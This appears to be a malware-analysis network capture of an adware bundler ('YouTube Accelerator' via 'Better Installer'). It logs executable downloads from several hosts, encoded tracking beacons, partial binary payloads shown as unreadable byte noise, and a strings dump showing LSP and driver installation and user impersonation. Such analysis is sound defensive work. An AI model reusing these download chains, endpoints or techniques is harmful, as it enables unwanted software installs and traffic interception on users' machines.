Date: Thu, 08 Jan 2015 04:54:22 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 07 Jan 2015 14:08:43 GMT

ETag: W/"9af8872832ad01:0"

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\[email protected]...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...=-..(z.O[I9x.....g..0...H.;...m...9N..,A>....[.....]9.".q.Q|.&
lt;..f.:.Lzuj..fj*......5.........9`..AG.|...BW...V...6.9kD.7....\....
.ax?.$C.4.k.../.Uhe..z.;Z]O'.fc..<.....V.i~xx....Q{...Y~q.N../!...K
i....&......I.}.ZmM..4...r`.&..D...3_9..h?.....R.A)....U.l......f....r
~.<.-..T.....2.%..R..S..y!.=_...4Z.>.Q.r.......e6R=.......h.i..V
...1..m.v .....;.G8..cp0,E#.....o_f.o.....^w......F.S...&_.}.$....<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=437598-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:53:20 GMT

Date: Thu, 08 Jan 2015 04:53:20 GMT

Content-Range: bytes 437598-583463/583464

Content-Length: 145866

Connection: keep-alive
|6...4......T..i.D.....QK..vU......w.o=..u"./.t.S0f..SO.....s.....E:y.
.I...OXz.E..r....L....5..`....#.*Y.'-.U....>....*ks..d...#.@..%p...
.oG..._...<.....M..#...............{......q7...,.bOd.........s..8..
<..C...e.........q..^1...dR#M..3.=.....j;R... ...)....%.-..B..6.X..
.....5U./.P....R}.'..l..C.,N...$.......Gj.v~ .v;...uD.G.2.-L....R.[4..
P .!Eg..J......j(.q...gEu.?J.T.=.(.2..GC.!...O.....T...1...5'.^.).O...
..:.."...tZ.s..........~e@..........%....F...."nyw%l.4...O.o{....Pe..d
...Y...m.E.......Y..!...g..K...znz....5....l.-s.......6ONw......,.23.`
..zP$cM..n",^./L%p./....W.hol..p)..(.'..B4.F.."...'.Bp....OB.V......\.
....._..o.`.. ........*ZGA..2K........Y.s5P.aGD.._,.. ....G...a/[.k..j
.L.........*i".Q5;..&..D..f.gh\......c....>...|..c.K..h....4 .U....
.7~....l......BQ<......d_.&...!......nEC..S..^.Sp...m........ _'_..
....3.><[email protected].......^.~....v.u.#4..3J...rrh...w...
...S.....J<.l...fDu........p.3.""(1.M.:. ..t\2.{p.=.*/c...juSR.q.].
...d...r.{[email protected].;.h....=.Xx..Z..$.5....3v.
.v..!..~W.c.G....)yL.^.....w.2...`....;\....H.}z{.....O ..B..!4:.%.b;.
A..T$6..{.D..kq(.M.c'3O..M.n.....s.8.z...o...N.p...h....oj....A..Y.\..
....<....{.....E..........S.....QR.~.D.ye&:.`...........W.."]......
...?g...nb...S fk.p7...Zr-Y..#H1._&..c.....#3.vS.......=...$.E......A 
..Q.......I[...oCSV....Y. -..O....J.......mOT...]i....A../..ZqJ.u.).F.
.mF$@#..w87...S`..OV..........n.VrD...d7.....4..n(Z).zD....<..P...6
..[.....7.P..|./..h.......[|.8..*.0...k......djY...7......o&/....n<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:15 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:55:15 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-308319/308320
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@[email protected][email protected].....
.......>..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

GET /app/ping.ashx?e=j7YMo/n29XPRUlNDQ0FfzSyMiXp71dskc5CO4NI7HfzdEMPgzYwqeWQ14on7GBy1H8FvIvBulFZLg2W8Sjc jd8cMSGOxTWOZuS0/O3oV2rxodeePw 5cQZvOa80aetps1ZCaZW5TJDB65GYQDzEPF1mlT9 7x7vkYuZe x/VfOXxrGh40ySfjpIRcIzv2J5 96KzbcM0zqdpBC4dpcfQ/t7tnmUrYIG3flsf95NzvTPcR1Y3Wmev/74tGvNvayU/6TSPHhrnPln4/wwk0n3rlr eli1WbKiL8d8yC4RVFjG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l7S3VSitHfZqNG3q5t3agipNjduQNQV4 zynsL3GEE9TUJpMbdFeWpMs3q 9bHhCxMCWYeUeZos ojJw7X8gLJGDr62hIfS4KidCnSW0KryT HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:31 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 08 Jan 2015 04:53:31 GMT..Content-Length: 0....
..

GET /app/ping.ashx?e=XOxRKBm2zlx2gtIu55M0yr1yLlvxP1mX9c3fglOP5eOz6uevfqaymmuKg2XFbqUQvoXpSr3iMCtzVRIw0b4PP/CV4d3G7GmUPBFa8TQ 5Z19hZ5O6CQgZn5dMiu8MPG0U/h1UXRHlm Qiu5D5FEGqDVXbQPyTchD5RUOsZwXvURv3JbmM6qmcM8JTwZBXEaArZ2BLw79NpCFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aLQZeRNzdJ6xTTRQSGyUg0znjGnnHm/9mx5qFYbczN7Q37nFR8WA5LoRJLkeNvaR59jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5/FbCMRz6yfYrNvdXo7bUbDmXqQawsZSOUA7dl9owwhK/Jpk3jiSOu27lIMxW2E482liKRKpnMqOhudM5Oc8eDFnC5rkxALCzNmcnYmQ80HU= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:31 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 08 Jan 2015 04:53:31 GMT..Content-Length: 0....
..

GET /app/ping.ashx?e=LU2XQ3qyK2DMZ3T6XmWM08nfOlO1RzQN3Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy70q Jjl2n6lTqMDSi8JPnXntmD8Dkx2dt2o5ApaNqnksNP54lXZxmkmfCP/tMDK1rDcI4BI3IQ7Vhwj8NsVNwNkIzqnJdgYVZ4qxOlJ8vXHBQCJnqR2yMdprKaRosA0sEv7z7MjTyjNiO3DXOJ1i6Kt 8c0UlQNB3cBTI8phW9IJGY9nEp85gJLh MsqZhmDfGMkHaRej7LEvbfMrWMyE/8zC6lNZ07stxoVjryQQFgYE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93DG2fyXpvPO0S3k08LxhX7QvzaT/KGyIKx5TX6K4Kv02g tj9ysk7ikqejwae14NH/leapU1N4ZWoUiliFuOwZ2Bli3Zd2yp5wfuVW9IuUgOemS9jXjFgnw= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:34 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 08 Jan 2015 04:53:34 GMT..Content-Length: 0..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=864857-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache



y...=.x..%...%...A_.r.Po...}.........Uq...V.r....i.m].!...)d.....I..R.
$..)*..V.z..O.).n.15.qP.]t.9..'.J2y..9?..S.....4C....a..%.I....?g...5.
.M..cy.....o...........<...P.S3c.M../[=u.#.g.m.V._H=.....E.>U.R.
.3"..u.|j.n..\...r*.....o.b...;.j\.H......g#..S........hv..<..H!.(.
......q.g .....Bc..u.E......./5.Qo....j....@^......J....._=.Iy..K.`.W.
.E.t...m.w.K..[<..e*.g(.T.fD=.........xeD.g....&.._.b..Lc.zvkn.Q.O.
.0NI...~.5.b%k...**.f...sk..)z[.0..JY.u:lJ?...'.M~.k...f..2.o.T.....#\
[email protected]......?z=.F.i....j=..]..W....N..o..#u.........y.x.32. 5.
AGXx.T^...0.....x....%/B..h....\.C:.oO..K......a..z).@.[Y.. Z...9.....
Tj........m..........zf.(....{..Jh...<....mX6A..h.q.....;g\.?c.w...
....._Vpi.]CS...:MD!bM........tE/..`.|.....u.....y.....>[email protected].
B...3..nn0.]E...$..~..^../...........\...Dn:.m..M9 &R.|66...'9^....q.3
...T.Nu..Q.9."j..Kd..#...{.....,...Q......&.Dm.^..3. ..... .E.........
Q..#..7.Z`.-.._....k.K.~.......F..Hqj}.....l..u$.....Q...$l.(.d.f..1L.
[email protected]'D{,c...)}[.4....|..lTX....-u..F...g.u..".E
..}.<.=\...k........a..T...g...JA`.y....J=..%[..¡(.[d.b..[r.!....
.,....E..I.qh[.qpw..6.&......D.I.3.J..v....lYUo...h.z}8....3.....rJ-.(
....K(\3...4.x D,yKD....j..$ Km..]...HhX.h....]`....01!......e....I..#
\.m[).%....Ex...:..f.1X.{T^....;...t&....Rrd..,..r...K)r!...E......=..
.=a...L...b..L.x./.p .C.a.9...:...~G^.8..i."DY..1m......GA........kK..
.)0.. .|..%S..$B...I..R....K}-.`...w.@....)^...Y....`.r.......[..R.$..
.S..g8....G.......W.A......-e/...N....'..........I.y(.....D.$PP._.<<< skipped >>>

GET /TyHelper.exe HTTP/1.1

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17

Host: directure.info


HTTP/1.1 200 OK

Server: openresty

Date: Thu, 08 Jan 2015 04:57:05 GMT

Content-Type: application/octet-stream

Content-Length: 6132736

Last-Modified: Sat, 03 Jan 2015 22:17:06 GMT

Connection: close

ETag: "54a86a62-5d9400"

Accept-Ranges: bytes

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$..........$J.mwJ.mw
J.mw...wg.mw...w[.mw...w/.mwC..wM.mwJ.lw..mw,&.wK.mwJ.mwA.mw.$.wK.mw.$
.wK.mwRichJ.mw........PE..L...Lj.T......................U.T)..........
......@...........................].....Ny^...@.......................
..............P....`]......................p].\1......................
................@............................................text.....
.......................... ..`.rdata..(9.......:..................@..@
.data...TKN......"[email protected]........`].......].......
......@[email protected]]..t... ].............@..@....................
......................................................................
......................................................................
......................................................................
......................................................................
.............................................D$.....D$......@...@.....
......U..VP...P..u.....4$.......:. .....:. t.._.......P.t..._...t...@.
.....^].........U..P.E..M..@L.....@H.....@X..........}.....3...a..u...
.P...E..][email protected]'...t..p............
3.t..^fffff.............."t"......tB..].o2u8....".}..u...C'....@,.....
@[email protected]'...f..............].f..............f..........M..fff.
........U......E..".....$.D$......D$.............]...D...@$...........
..U..SWV..T.=..b...Y..pq.=.M......?"fffff.........=idw...=.SF.u...

<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=138810-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:20 GMT

Content-Type: application/octet-stream

Content-Length: 971666

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 138810-1110475/1110476
.:..q...v.......c.....)F../ ..I7.....<U^.J....;..... .C..TYa..24...
T......r<wz.<{.b.].6Vb......:.b.=&.E/.M}. .73]....d#...x... ..G|
.R..Z9 T.......~qX.?...(*yI)q.2.|Uj.0.2.....Vo...2...@.*Tg..CJ......7r
.i'.....k..|96W.......^YI....*...,S!.u!O&.......H.y.o....$A..4.(F.w.#.
a....n..L..2..ba..j.a.H.?..\[email protected].,.f..
.......M..Q...i.3LX...7.RJD....4...&....*5JE.6f.q"v.........q[.....x.s
9..8q..0...q.......B/......9......L2B}.~g..%..L. .....4....HQ.C.q!...q
<|].^c.*4....Zb1x.^...D$.(.u."......_0...5....x..6i. ........V1....
..I.*E.*...-..x.._.....1.6.D.56.:..W....F.......P.w..h...kE.........v.
.......`....%.......<.`....yu.2.....<...j2..'b.....>ie..t..k.
I.o.....Gy....V.y.z."..a......K...O..PH...#..6..4..|Im....t......LH.?.
d...h....>..}...............B.|X...>..L..*^..~.`9..*.Jk0..".....
!;...A....s.1.....g..m(N..:ed'...p.acr...\.sc.%..>.......c...;.#.kV
..........E.{...g...i...ol....(V!..{)F.....krQ&.[..<.b...C~S......%
0..Z.Xg.......KT9.,......U....a......n{$.QZ8]h... .......\.N.Q]...f...
6....an4-..,........V..u........%.6.B..q.^..j..r!.....=f....K3..=.:..[
..-..9.....*.'(Y#....S...5N....z..........[.,e..._...Q.R =..u...0l..t&
lt;...N.7.-..dG.....VFm..Z......7*O.Y..'.=3..ZH_...)..=.i..imcE. .N<
;.@........._N....t{"......V....W8...._AI.v..D9.L....9.........b:[..8.
....A.......Fe]4...'.[....Z....m?Xu.......z.2f.1..9.....2.O..r.}......
9....i.....]...\.).8..........TT....b..A...B.-....6#..." tD......2.%.=
.j*....3.~...>OKw....?`g~D{.s.UD....F..n....f.m....aw.~..*.^cl.<<< skipped >>>

GET /install.ashx?e=obiBp3WOda9tb/LgACKPGiyMiXp71dskPvLZmlZ/REBZxrddMpcl9iuIlCBhM10qy/hL8rqZ RaEgBvOe8 r0o/iiYZxylfDKPuMdH9xkPG/nLxuMxZnjpvztqm1ks0MUDU/qLqyxpOhe9XQAI/g0xXJq6etqh5BB5HOb5LKs708Yf66A51TV0n3PBY57gZaSpNFh3KRjOdBw5q/V 8gicVOgnEZemiTsynlrkkotjxHW5 PP3 xQCKpiCy8tT1IqsqBKQmNMgwZSLwFUo/y3 vZ8UlE5kQe0K0sjaOfEW1B092xzGmdx9jHfHsw8mq7XigkLJX7XBGF7Qe2/p5heBnJKiwdbvej29xQFYGWeoOF1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL2Vw/FKQ7TCCIE52/Qrexgg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dfb5uyoqjsg4c.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1320

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:52:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f008e15fd2ddeadaa683028122cfffe5.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EnWjZSa4PbrQDYOFTzLipySIiv_9KcpVTPTDC-FUbrm5dSjmnTdD2A==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]._...../5.Q...)P.......10..gq..u.../......B./m..KU...o.
y.r...ZQ...I......S./...G4a.4....;1 J......L..%B.2.4H..v.M./q.....o..@
I.E.]....~f5YDR.01\C/(.U.O.X(O..W4.,..{s|@.....b.".3"...x.....Uu5y...8
y%.f.D|p5...a.."...g...V.Y ug..4..|~._.\.}.Jb.=..\RZ-0..K.y....2....w.
."hO/.4..#...D6.]..........rv.z..u.6..y.c.(.s...4....X.yL./...s.\..].o
HV. L...1.......p..iq..l..u..........rv.z..u.j............PM....N.8F..
...K..[o..'.;..r..Y*.4....^.{...z...8...y...a.s.....\..,I.9!..MT{.6.w.
4....dT.wY...B.).Hd..i.<....10..gq..u.../......B./m..KU.....E...z..
..9....>..T......m.z<..._.....k....D....-........?.......C......
.S..M.6/7..U...j.............H3..E......vB.88.a....=.v'@..W8. ...x....
1..8..n.<..~..`.......dH~........5. .9y..`.".x.m.-.8b<..^[email protected]
.!3F .4t.v.u.Z...8.......1..n.*U.<p....#z.W...o./.u..Ig*{8......u.W
k.iV.5..#....g.C.y....b..'... |....f.%.H...R..t5..iV.h....8bc.....9...
.qc<......h...G..5j.)..l......A7.o. .Q...A...W.........rv.z..u.b.TD
 .](C.=.q/"u......./...s.\......H...r.c.........Bv...?..^.$.o...{.k.K.
....q@,(..;.?...a(H#C$..C..R......G....z...8...y...a.s.....\..,I.9!...
..E.8.n..-..n..(K..H......5.b....l....mj.c...s%s....o.U..z7..C....C. .
d.......B..._...$.&>p.0...5.L..'5.....-14w......< C.t^.c...C....
4.=.......v....,...<<< skipped >>>

GET /gen/helper.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: d13j8bqw-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Thu, 08 Jan 2015 04:54:23 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: Express

Cache-Control: public, max-age=3600

Last-Modified: Wed, 07 Jan 2015 20:54:55 GMT

ETag: W/"6091-2128900734"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
17c4...............s\.....3...E.....#R6&...b.M.....5 k.3c.".....hd....
B....As}.o......9}6.......6..<.<[....|........v........u^7&..?.}
........................8\...d0!U-M6.)m..d.Bn.-..O..{..;.....u.p9{.#..
.Ok-;N....p..?OnI!...'..t.........;.Og.i....M..e.5.>.[...>.....y
....w.4.xm...=....d&<...../....(ky..^...(...o..T.w&.......p9....w..
..yY..>.1q..<.?....L...D....6...I.4.E(..92...rE)a.v...r......dkr
.-GV..`I..{......T....I..E...T:.&S.&..B.........7%6.b,.......RUe.[|.wq
.X..Z.d........VM..x....o...8=X..|..:...0F..E0.uN6.dl5)%..H.B.E......[
_........JI.S.z....E...I .x{k&L.q....r.....l.7[{.g.......N...z.u...hv.
&.bR.J#..W..Z^.._...<>.....Em...9!....MY...!..K`.r.bP...r.Z.2.&l
t;Xg._.....}....\46..3........L2..rsI...3..RD.b(vhC..o[qCEgB..T....{..
.R.}..(r&..|n.....H./A.!Z.bx..L....}.&.?...........S.....F.Yh._...;=x&
lt;{t..G..7.V....].............4n}S..-^.Q[...\...B.D..E...\..M).B,.u."
....:rK.6a..o.a..V"..`.......z Ug....6.....X............d.<...{H...
-...,@w..._|}u...5...8.%..jA.k"6..y..L.........#..):W.2BI.E.......1V.u
J.-.YH........t7M&.........].c...t..pK.........#.-cT*....]...&. ....^.
.B.*j...Q}w...~.x..;.!........T..df..D.".c..b...P:..;..RG8u;..d.H.L..h
k.@.!Q.>.Kn9.j.. 3X.9C.."...W..0\e...>...l^.(m......q..B52..f.5.
..0$.r...-"X......'w........x.B..k.x...._~.. bH.c)>;L.0..,.}..D.Gu.
."^.e]x/..G.!E.%F..kc....<h\."..........k..(....j...F..f...]......K
.W2[...j"j......(|..]..G.yA.}yE#3S.._.U.c\..._..^:),q..d...F<..q...
..Q..e19)W.....8F..m...2......"..E....3.....#d5'.1.RTQ...0>Y..a<<< skipped >>>

The Application connects to the servers at the folowing location(s):

YouTubeAcceleratorService.exe_3356:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

t9.tZ

uB9.tF

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CAcceleratorService::ExecuteServerAsWD] Exit

[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup

\\.\pipe\GOOBZO_VAPIPESERVERENG

[CAcceleratorService::ExecuteServerAsWD] Enter

[CAcceleratorService::CreateEngineThread] Create thread result %d

[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d

[CAcceleratorService::StopServiceExitMode] Name: %s

[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d

[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d

[CAcceleratorService::ExecuteServer] Leave

[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD

[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d

[CAcceleratorService::ExecuteServer] Enter

%d.%d.%d.%d

Name: %s

Path: %s

Version: %s

%s_%d.log

[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s

[CAcceleratorService::UninstallDriver] Driver name: %s

[CAcceleratorService::InstallLsp] Module not found - LE: %d

[CAcceleratorService::InstallLsp] Function Install not found - LE: %d

[CAcceleratorService::InstallLsp] Module path: %s

[CAcceleratorService::UninstallLsp] Module not found - LE: %d

[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d

[CAcceleratorService::UninstallLsp] Module path: %s

[CAcceleratorService::RunCommand] Command: %d

[CLSPKeepAlive::GetLastLSPTestStatus] return %d

[CLSPKeepAlive::CheckOurLSPStatus]

[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!

[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***

[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CDriverManager::CreateDriver] CreateService failed: %d

Tcpip

[CDriverManager::CreateDriver] Name: %s, Path: %s

[CDriverManager::Install] OpenSCManager failed: %d

[CDriverManager::Install] Name: %s, Path: %s

[CDriverManager::DeleteDriver] DeleteService failed: %d

[CDriverManager::DeleteDriver] OpenService failed: %d

[CDriverManager::DeleteDriver] Name: %s

[CDriverManager::UnInstall] OpenSCManager failed: %d

[CDriverManager::UnInstall] Name: %s

[CDriverManager::StartDriver] OpenService failed: %d

[CDriverManager::StartDriver] Name: %s

[CDriverManager::Load] OpenSCManager failed: %d

[CDriverManager::Load] Name: %s

[CDriverManager::StopDriver] OpenService failed: %d

[CDriverManager::StopDriver] Name: %s

[CDriverManager::UnLoad] OpenSCManager failed: %d

[CDriverManager::UnLoad] Name: %s

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

